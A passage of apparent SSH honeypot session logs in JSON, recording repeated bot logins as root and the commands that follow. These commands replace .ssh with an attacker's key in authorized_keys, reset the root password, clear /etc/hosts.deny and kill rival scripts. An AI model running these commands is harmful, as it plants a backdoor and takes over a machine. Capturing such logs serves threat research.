-l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:02:47.247918+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:02:47.248544+00:00","kind":"output","latency_ms":null,"data":" 11:02:47 up 6 days, 7:52, 0 user, load average: 0.14, 0.12, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:02:47.849287+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:02:47.849851+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:02:48.452256+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:02:48.452731+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:02:49.057729+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:02:49.058157+00:00","kind":"output","latency_ms":null,"data":"top - 11:02:49 up 6 days, 7:52, 0 user, load average: 0.14, 0.12, 0.1\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:02:49.662222+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:02:49.662653+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:02:50.268085+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:02:50.270469+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:02:50.875040+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:02:50.875867+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:02:51.474281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:02:52.021575+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:02:52.625303+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:02:53.107387+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123qweASDZXC","method":"password","accepted":true,"tier":"other"}]} {"id":"0582e41e-a6e7-44ff-a77a-c270af0429d1","name":"diligent-bold-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":40602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":617,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:54:26.556075+00:00","ended_at":"2026-08-26T10:54:27.999283+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2271,"events":[{"seq":1,"at":"2026-08-26T10:53:54.219109+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:53:54.833447+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:54:05.612466+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:54:05.613364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:54:06.226016+00:00","kind":"input","latency_ms":null,"data":"echo \"root:SJ8aKOJLseeZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:54:06.843139+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:54:07.819397+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:54:08.412406+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:54:09.431185+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:54:10.548399+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:54:11.165903+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:54:12.578180+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:54:13.194018+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:54:13.893639+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:54:14.507170+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:54:14.949998+00:00","kind":"output","latency_ms":null,"data":" 10:54:14 up 6 days, 7:44, 0 user, load average: 0.08, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:54:15.565937+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:54:16.035792+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:54:16.650448+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:54:17.376381+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:54:17.990260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:54:18.522096+00:00","kind":"output","latency_ms":null,"data":"top - 10:54:18 up 6 days, 7:44, 0 user, load average: 0.08, 0.08, 0.08\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:54:19.139709+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:54:19.990335+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:54:21.420319+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:54:21.743948+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:54:22.721922+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:54:23.601052+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:54:24.578544+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:54:25.937677+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:54:26.556722+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:54:27.804852+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwert1234","method":"password","accepted":true,"tier":"other"}]} {"id":"01c754e0-3b90-438c-bada-aba809ae3f87","name":"flinty-alpine-loris","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":41778,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:50:02.070375+00:00","ended_at":"2026-08-26T10:50:02.781088+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T10:49:30.671286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:49:32.084297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:49:48.861405+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:49:48.862072+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:49:50.254022+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JZDNAPRdvYut\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:49:50.841109+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:49:51.829392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:49:51.831289+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:49:52.416226+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:49:52.895424+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:49:53.839734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:49:54.341361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:49:55.331709+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:49:55.332480+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:49:55.921195+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:49:55.922018+00:00","kind":"output","latency_ms":null,"data":" 10:49:55 up 6 days, 7:40, 0 user, load average: 0.21, 0.24, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:49:56.510194+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:49:56.510749+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:49:57.111455+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:49:57.115152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:49:57.686942+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:49:57.687341+00:00","kind":"output","latency_ms":null,"data":"top - 10:49:57 up 6 days, 7:40, 0 user, load average: 0.21, 0.24, 0.26\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:49:58.854434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:49:58.854839+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:49:59.439081+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:49:59.439687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:50:00.028408+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:50:00.028879+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:50:00.616044+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:50:01.127560+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:50:02.071369+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:50:02.596561+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password12345!","method":"password","accepted":true,"tier":"other"}]} {"id":"f3c633b0-6488-4717-a0f4-c399e02644ca","name":"cheerful-inland-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":36286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":616,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:19:39.338741+00:00","ended_at":"2026-08-26T10:19:41.087847+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T10:19:13.435100+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:19:14.478489+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:19:22.079169+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:19:22.079595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:19:22.692725+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qzaoNNS0RNSP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:19:23.306315+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:19:23.918501+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:19:24.626599+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:19:25.242672+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:19:26.591268+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:19:27.209827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:19:28.294626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:19:28.910600+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:19:29.296591+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:19:29.913985+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:19:30.210456+00:00","kind":"output","latency_ms":null,"data":" 10:19:30 up 6 days, 7:09, 0 user, load average: 0.21, 0.15, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:19:30.826089+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:19:31.404352+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:19:32.019712+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:19:32.725058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:19:33.341639+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:19:33.885898+00:00","kind":"output","latency_ms":null,"data":"top - 10:19:33 up 6 days, 7:09, 0 user, load average: 0.21, 0.15, 0.16\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:19:34.501912+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:19:35.246996+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:19:35.863017+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:19:36.309568+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T10:19:36.923625+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T10:19:37.228159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T10:19:37.847331+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T10:19:38.723359+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T10:19:39.339591+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T10:19:40.894441+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc123321","method":"password","accepted":true,"tier":"other"}]} {"id":"b33232f9-4f46-4df0-a678-2c4b872f85c7","name":"forlorn-idle-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":35348,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":587,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T10:06:36.905884+00:00","ended_at":"2026-08-26T10:06:37.685000+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T10:06:13.530689+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T10:06:14.115018+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T10:06:25.985180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T10:06:25.986226+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T10:06:26.571803+00:00","kind":"input","latency_ms":null,"data":"echo \"root:GGBWiBdpzruh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T10:06:27.157521+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T10:06:27.742333+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T10:06:27.743025+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T10:06:28.329958+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T10:06:29.022255+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T10:06:29.610695+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T10:06:30.149224+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T10:06:30.741563+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T10:06:30.742067+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T10:06:31.329142+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T10:06:31.329557+00:00","kind":"output","latency_ms":null,"data":" 10:06:31 up 6 days, 6:56, 0 user, load average: 0.35, 0.4, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T10:06:31.914793+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T10:06:31.915247+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T10:06:32.500822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T10:06:32.501583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T10:06:33.447341+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T10:06:33.448174+00:00","kind":"output","latency_ms":null,"data":"top - 10:06:33 up 6 days, 6:56, 0 user, load average: 0.35, 0.4, 0.29\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T10:06:34.032006+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T10:06:34.032596+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T10:06:34.620113+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T10:06:34.621015+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 